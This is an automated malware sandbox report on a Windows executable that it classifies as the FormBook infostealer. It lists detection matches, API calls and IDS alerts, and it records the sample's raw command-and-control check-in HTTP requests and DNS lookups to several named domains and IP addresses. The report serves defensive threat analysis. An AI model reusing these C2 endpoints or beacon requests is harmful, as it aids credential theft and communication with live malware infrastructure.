Windows Analysis Report
3NvALxFlHV.exe

AI detected suspicious sample

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1605796151.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3749884813.0000000004BC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747438658.0000000004D40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1612426641.0000000008EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735188109.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1606404910.0000000005F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3747679564.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3747607666.0000000005580000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 3NvALxFlHV.exe

Joe Sandbox ML: detected

Source: 3NvALxFlHV.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: OpnFiles.pdb source: svchost.exe, 00000007.00000003.1575121561.0000000002E3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1575060552.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3738647619.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: MqYVUkmlJNkso.exe, 0000000B.00000002.3735186978.0000000000AFE000.00000002.00000001.01000000.00000005.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674752194.0000000000AFE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: 3NvALxFlHV.exe, 00000003.00000003.1293635725.0000000004540000.00000004.00001000.00020000.00000000.sdmp, 3NvALxFlHV.exe, 00000003.00000003.1292612890.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1606099939.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1606099939.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1513534300.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1511578211.0000000003000000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1608886325.0000000004EF8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1606370162.0000000004D4A000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.000000000523E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 3NvALxFlHV.exe, 00000003.00000003.1293635725.0000000004540000.00000004.00001000.00020000.00000000.sdmp, 3NvALxFlHV.exe, 00000003.00000003.1292612890.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000007.00000002.1606099939.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1606099939.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1513534300.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1511578211.0000000003000000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, openfiles.exe, 0000000C.00000003.1608886325.0000000004EF8000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000003.1606370162.0000000004D4A000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3748300182.000000000523E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: OpnFiles.pdbGCTL source: svchost.exe, 00000007.00000003.1575121561.0000000002E3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1575060552.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000B.00000002.3738647619.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: openfiles.exe, 0000000C.00000002.3738224214.0000000003379000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3749115290.00000000056CC000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674924098.000000000278C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.1897604984.000000001990C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: openfiles.exe, 0000000C.00000002.3738224214.0000000003379000.00000004.00000020.00020000.00000000.sdmp, openfiles.exe, 0000000C.00000002.3749115290.00000000056CC000.00000004.10000000.00040000.00000000.sdmp, MqYVUkmlJNkso.exe, 0000000D.00000000.1674924098.000000000278C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.1897604984.000000001990C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	3_2_00452126
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	3_2_0045C999
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	3_2_00436ADE
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00434BEE
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0045DD7C FindFirstFileW,FindClose,	3_2_0045DD7C
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	3_2_0044BD29
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	3_2_00436D2D
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	3_2_00442E1F
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	3_2_00475FE5
Source: C:\Users\user\Desktop\3NvALxFlHV.exe	Code function: 3_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	3_2_0044BF8D
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 12_2_030DC2A0 FindFirstFileW,FindNextFileW,FindClose,	12_2_030DC2A0

Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 4x nop then xor eax, eax		12_2_030C9BE0
Source: C:\Windows\SysWOW64\openfiles.exe	Code function: 4x nop then mov ebx, 00000004h		12_2_04E804E4

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49931 -> 154.204.174.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49978 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49985 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49986 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49979 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49977 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.11:49977 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49999 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49988 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50001 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49998 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49990 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49982 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49976 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49981 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49994 -> 185.151.30.221:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49995 -> 185.151.30.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50000 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50002 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49989 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49983 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50009 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50008 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50012 -> 76.223.105.230:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50013 -> 76.223.105.230:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50006 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50003 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49975 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49984 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50019 -> 202.87.223.248:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50021 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50018 -> 202.87.223.248:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50025 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50023 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49987 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50017 -> 202.87.223.248:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49993 -> 185.151.30.221:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50015 -> 76.223.105.230:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49996 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50007 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50014 -> 76.223.105.230:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49992 -> 185.151.30.221:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50024 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50010 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:49991 -> 43.155.76.124:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50005 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50027 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50026 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50004 -> 209.74.64.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50016 -> 202.87.223.248:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:49997 -> 217.160.0.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.11:50011 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50020 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.11:50022 -> 3.33.130.190:80

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 202.87.223.248 202.87.223.248

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: OCENET-AS-APOCESdnBhdISPMY OCENET-AS-APOCESdnBhdISPMY
Source: Joe Sandbox View	ASN Name: ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.11:49768
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.11:49974

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\3NvALxFlHV.exe

Code function: 3_2_0044289D InternetQueryDataAvailable,InternetReadFile,

3_2_0044289D

Source: global traffic	HTTP traffic detected: GET /byug/?E2fH=daot1yqA0sfH+KONUjF9hF9KxIdUCROymgGxIYerxsodSW80Yw7JQGC35zuckSas8FRPkylX8MsqYI+8Hz0cXrz91+K4b8Ld2EqmqWGcnUCnJm719DUTRgg=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.js18456.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5qo7/?E2fH=AItRdHIStarSgJFr54MavMegqlpHmxEFjzxzqB36/sm0G2kp9NXBjanhx9IotPFlCRiq6XnmdXy4N5GOjcFlex1CFQX+4lQqlDIm6FqO6s89btvlTGm41ig=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.wiretap.digitalAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /vn3y/?wZY4Z=9tG860z8qzo&E2fH=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLvbivtJQJXW/JiUtY9He5kgXXedAC3k6p8R4= HTTP/1.1Host: www.everyone.golfAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /hezo/?E2fH=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oKx440HrMY07fapDTednh2/Ea+kcK2WC2IW8=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.solidarity.rocksAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mwey/?E2fH=MfQfFJDPdY3qb8NLnrdcDJpYPHfxpTXjAJliBdfQUirEsMDdNOfprM6NKVyFnMdsrhyN3Xipksjr8oWhdXIF3hEAzoib07ipH8eMCJ1r7rTAiO3GAXotnuA=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.cdqjey8g.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+j8KfdNkYSpcxUYd9Chya6UgFWZTzxsRjmxM= HTTP/1.1Host: www.pegji.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /etyp/?E2fH=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4qkUHr1Xbu/t0+A+NutfeDoV3Ubg7JgQWWyg=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.ambaolive.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v4bm/?wZY4Z=9tG860z8qzo&E2fH=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHU6fRjhM8DXS5/jiGjBePMmJpX4bZbURmjHk= HTTP/1.1Host: www.cablecarrental.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mnch/?E2fH=v8BgWZnTU46XNxSlz+wlrSVbOoZFIyRpq8YSvkRatF7pdr65NJBVncP31ryMv/pPMJWLYh1CVZzl0k3fb3N4x0CJPytH4m5WOVJ5IQUCm7oWyhrtqrOCt/w=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.martmall.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5dij/?wZY4Z=9tG860z8qzo&E2fH=klo57B+4TEQKxOCll5/ud9oRIMf8lXO2f/YzsC7HwA7/Xv4ZBQnteMBAzzgS9I460LA+WWvjCe2/oT2Hpf5eVU9NDecIBVFVrJ3meQNkkFVg+JeoeGRR7iE= HTTP/1.1Host: www.ninesquare.gamesAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4wnb/?E2fH=X14YfohpWrTQgo+2fEGR/oEnJAhsffb6ONKrCrUA6BZWjV0Lu+Wdyuy2cUfhulzwfmbkeUkSY2ITORl/jt7fTa2/oaemcjCq9ZnCapLt5vZPfbZ3XVFIYc4=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.falconheights.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /q2rh/?E2fH=r/EyMueF1/AhvFqr+9TotpwoHKCIEEEMEoMq7xAjfHS+GnpKTvJxQoa4UgTQDYoJjZ3MWdRKVLrTGebY08sUCYWROzhfFqBrGL/IjHkWdzN6XshZkCh6U0M=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.18kwatch.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /dm2x/?E2fH=grO1LxSDrmNOUN5ocyt3fDknYbpBReLynL52L47D0Lgkq4xUgfOqgzNwjeu1tfF12m3HUWvarONV4OYJXtmiDSOJK4Zfva4/2XQ2q5uVkpf0UftmUsZvzq8=&wZY4Z=9tG860z8qzo HTTP/1.1Host: www.myplayamate.llcAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /u70o/?wZY4Z=9tG860z8qzo&E2fH=JwsU8I9SkjKHMoVkS85bnAJiw0PC8R6yLSvzNa+AEjIFSc4tS7Z2dBODPwkRq8FfsiXvcWwiJzvfCp1BJ4ZviqrX7a3aTO/4I/dN45SIrzTvyELXxXrhSsw= HTTP/1.1Host: www.it2sp8.vipAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.js18456.net
Source: global traffic	DNS traffic detected: DNS query: www.wiretap.digital
Source: global traffic	DNS traffic detected: DNS query: www.everyone.golf
Source: global traffic	DNS traffic detected: DNS query: www.solidarity.rocks
